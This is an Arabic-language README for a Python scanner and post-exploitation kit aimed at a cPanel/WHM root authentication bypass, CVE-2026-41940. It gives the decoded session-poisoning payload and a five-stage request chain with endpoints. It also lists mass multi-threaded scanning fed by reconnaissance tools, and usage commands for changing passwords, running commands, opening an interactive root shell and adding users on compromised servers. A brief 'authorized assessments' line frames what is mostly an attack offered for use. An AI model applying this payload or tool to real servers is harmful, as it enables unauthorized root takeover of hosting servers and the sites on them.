
ماسح ضوئي آلي وأداة ما بعد الاستغلال لـ CVE-2026-41940 — تجاوز مصادقة root في cPanel و WHM عبر حقن CRLF في ملف الجلسة
English | فارسی (Persian)
██████╗██████╗ █████╗ ███╗ ██╗███████╗██╗
██╔════╝██╔══██╗██╔══██╗████╗ ██║██╔════╝██║
██║ ██████╔╝███████║██╔██╗ ██║█████╗ ██║
██║ ██╔═══╝ ██╔══██║██║╚██╗██║██╔══╝ ██║
╚██████╗██║ ██║ ██║██║ ╚████║███████╗███████╗
╚═════╝╚═╝ ╚═╝ ╚═╝╚═╝ ╚═══╝╚══════╝╚══════╝
██████╗██╗ ██╗███████╗
██╔════╝██║ ██║██╔════╝
██║ ██║ ██║█████╗
██║ ╚██╗ ██╔╝██╔══╝
╚██████╗ ╚████╔╝ ███████╗
╚═════╝ ╚═══╝ ╚══════╝
███████╗██╗ ██╗██████╗ ██╗ ██████╗ ██╗████████╗
██╔════╝╚██╗██╔╝██╔══██╗██║ ██╔═══██╗██║╚══██╔══╝
█████╗ ╚███╔╝ ██████╔╝██║ ██║ ██║██║ ██║
██╔══╝ ██╔██╗ ██╔═══╝ ██║ ██║ ██║██║ ██║
███████╗██╔╝ ██╗██║ ███████╗╚██████╔╝██║ ██║
╚══════╝╚═╝ ╚═╝╚═╝ ╚══════╝ ╚═════╝ ╚═╝ ╚═╝
أداة مسح آلي ومجموعة أدوات ما بعد الاستغلال لثغرة CVE-2026-41940 — تجاوز المصادقة لجذر WHM و cPanel عن طريق حقن CRLF في ملف الجلسة.
CPANEL CVE EXPLOIT هي أداة بلغة Python في ملف واحد مصممة لـ تقييمات أمنية مصرح بها لخوادم cPanel و WHM المعرضة لثغرة CVE-2026-41940.
تسمح الثغرة لمهاجم عن بعد غير مصادق بتسميم ملفات جلسة WHM عن طريق حقن CRLF في رأس Authorization: Basic، مما يتجاوز المصادقة ويمنح وصولاً لجذر WHM بدون بيانات اعتماد صالحة.
| الخاصية | القيمة |
|---|---|
| CVE | CVE-2026-41940 |
| الخطورة | حرجة |
| CVSS | 10.0 |
| ناقل الهجوم | شبكة / غير مصادق |
| التأثير | وصول كامل لجذر WHM |
| المنفذ الافتراضي | 2087 (WHM) |
| الحالة | تم تأكيد الاستغلال في البرية (أبريل 2026) |
في الإصدارات المعرضة من cPanel و WHM، تستدعي saveSession() في Session.pm دالة filter_sessiondata() بعد كتابة ملف الجلسة على القرص. يمكن للمهاجم حقن حروف CRLF (\r\n) عبر رأس HTTP Authorization: Basic، والتي تُكتب مباشرةً في ملف الجلسة على القرص — متجاوزةً التعقيم.
تستخدم الأداة حمولة مشفرة بـ Base64 تُفك إلى:
root:x
successful_internal_auth_with_timestamp=9999999999
user=root
tfa_verified=1
hasroot=1
تحاكي هذه الحقول جلسة WHM موثقة بالكامل لجذر، بما في ذلك تجاوز المصادقة الثنائية (tfa_verified=1) وعلم صلاحية الجذر (hasroot=1).
قامت cPanel بنقل filter_sessiondata() لتنفيذ قبل عملية كتابة الجلسة في Session.pm.
تتكون سلسلة الاستغلال من 5 مراحل (المرحلة 0–4):
flowchart TD
A[Stage 0: Canonical Host Discovery] --> B[Stage 1: Mint Preauth Session]
B --> C[Stage 2: CRLF Injection via Authorization Header]
C --> D[Stage 3: Session Propagation via do_token_denied]
D --> E[Stage 4: Verify Root Access via json-api/version]
E --> F{Vulnerable?}
F -->|Yes| G[Post-Exploit Actions / Interactive Shell]
F -->|No| H[Skip Target]
A -.- A1["GET /openid_connect/cpanelid → 307 redirect reveals real hostname"]
B -.- B1["POST /login/?login_only=1 → whostmgrsession cookie"]
C -.- C1["GET / + poisoned Basic auth → /cpsessXXXXXXXXXX token"]
D -.- D1["GET /scripts2/listaccts → flush raw session to cache"]
E -.- E1["GET /cpsessXXX/json-api/version → HTTP 200 + version JSON"]
| المرحلة | نقطة النهاية | الغرض |
|---|---|---|
| 0 | /openid_connect/cpanelid | اكتشاف اسم المضيف القياسي تلقائياً عبر إعادة التوجيه 307 |
| 1 | /login/?login_only=1 | الحصول على كوكي whostmgrsession مسبق المصادقة ببيانات اعتماد خاطئة |
| 2 | / | حقن رأس Authorization: Basic المسموم بـ CRLF في ملف الجلسة |
| 3 | /scripts2/listaccts | تشغيل أداة do_token_denied لتفريغ الجلسة في ذاكرة التخزين المؤقت |
| 4 | /{token}/json-api/version | تأكيد وصول الجذر — HTTP 200 مع JSON للإصدار |
| الميزة | الوصف |
|---|---|
| مسح هدف واحد | سلسلة استغلال كاملة ضد رابط WHM واحد |
| المسح الجماعي | مسح متعدد الخيوط من ملف أو الإدخال القياسي |
| كشف الإصدار | مقارنة إصدارات تم إصلاحها/معرضة تلقائياً |
| API ما بعد الاستغلال | تغيير كلمة المرور، تنفيذ الأوامر، سرد الحسابات، إنشاء مستخدمين |
| قشرة تفاعلية | قشرة WHM جذر مدمجة مع قراءة ملفات وأوامر API |
| تسجيل الدخول عبر Selenium | حقن كوكي الجلسة تلقائياً في Chrome/Firefox |
| بديل المتصفح اليدوي | مقتطفات JavaScript لوحدة التحكم لتسجيل الدخول اليدوي إلى WHM |
| فحص RCE | تحقق سريع id / uname -a بعد التجاوز |
| تصدير JSON | حفظ جميع النتائج في تقرير JSON منظم |
| جاهز لخطوط الأنابيب | يعمل مع httpx و subfinder و shodan و awk |
| مكتبة قياسية فقط | لا تبعيات pip مطلوبة للوظائف الأساسية |
| إخراج ملون | تسجيل المراحل في الوقت الفعلي مع مؤشرات الخطورة |
| الفرع | الإصدار المُصلح | الحالة |
|---|---|---|
| 11.110.x | 11.110.0.97 | معرض أسفل الإصلاح |
| 11.118.x | 11.118.0.63 | معرض أسفل الإصلاح |
| 11.126.x | 11.126.0.54 | معرض أسفل الإصلاح |
| 11.132.x | 11.132.0.29 | معرض أسفل الإصلاح |
| 11.134.x | 11.134.0.20 | معرض أسفل الإصلاح |
| 11.136.x | 11.136.0.5 | معرض أسفل الإصلاح |
ملاحظة: يتم وضع علامة تلقائياً على الأهداف التي تعمل بإصدارات مُصلحة وتجاوزها أثناء المسح.
| الحزمة | الغرض |
|---|---|
selenium | تسجيل دخول المتصفح التلقائي (--selenium) |
| Chrome / Firefox | محرك المتصفح لـ Selenium |
pip install -r requirements.txt # اختياري — selenium فقط
git clone https://github.com/YOUR_USERNAME/cpanel-cve-exploit.git
cd cpanel-cve-exploit
لا توجد خطوة بناء مطلوبة. يُشغّل مباشرة:
python3 test-cve.py --help
# مسح هدف WHM واحد
python3 test-cve.py -u https://target.com:2087
# مسح مع ما بعد الاستغلال: سرد جميع حسابات cPanel
python3 test-cve.py -u https://target.com:2087 --action list
# مسح جماعي من ملف، 20 خيط، حفظ تقرير JSON
python3 test-cve.py -l targets.txt -t 20 -o results.json
usage: test-cve.py [-h] [-u URL] [-l LIST] [--hostname HOSTNAME]
[-t THREADS] [--timeout TIMEOUT] [--rate-limit RATE_LIMIT]
[--action {list,passwd,cmd,exec,info,version,shell,adduser}]
[--passwd PASSWD] [--cmd CMD]
[--new-user NEW_USER] [--new-domain NEW_DOMAIN]
[--read-file READ_FILE] [--selenium]
[--engine {chrome,firefox}] [--browser] [--check-rce]
[-o OUTPUT] [--no-color]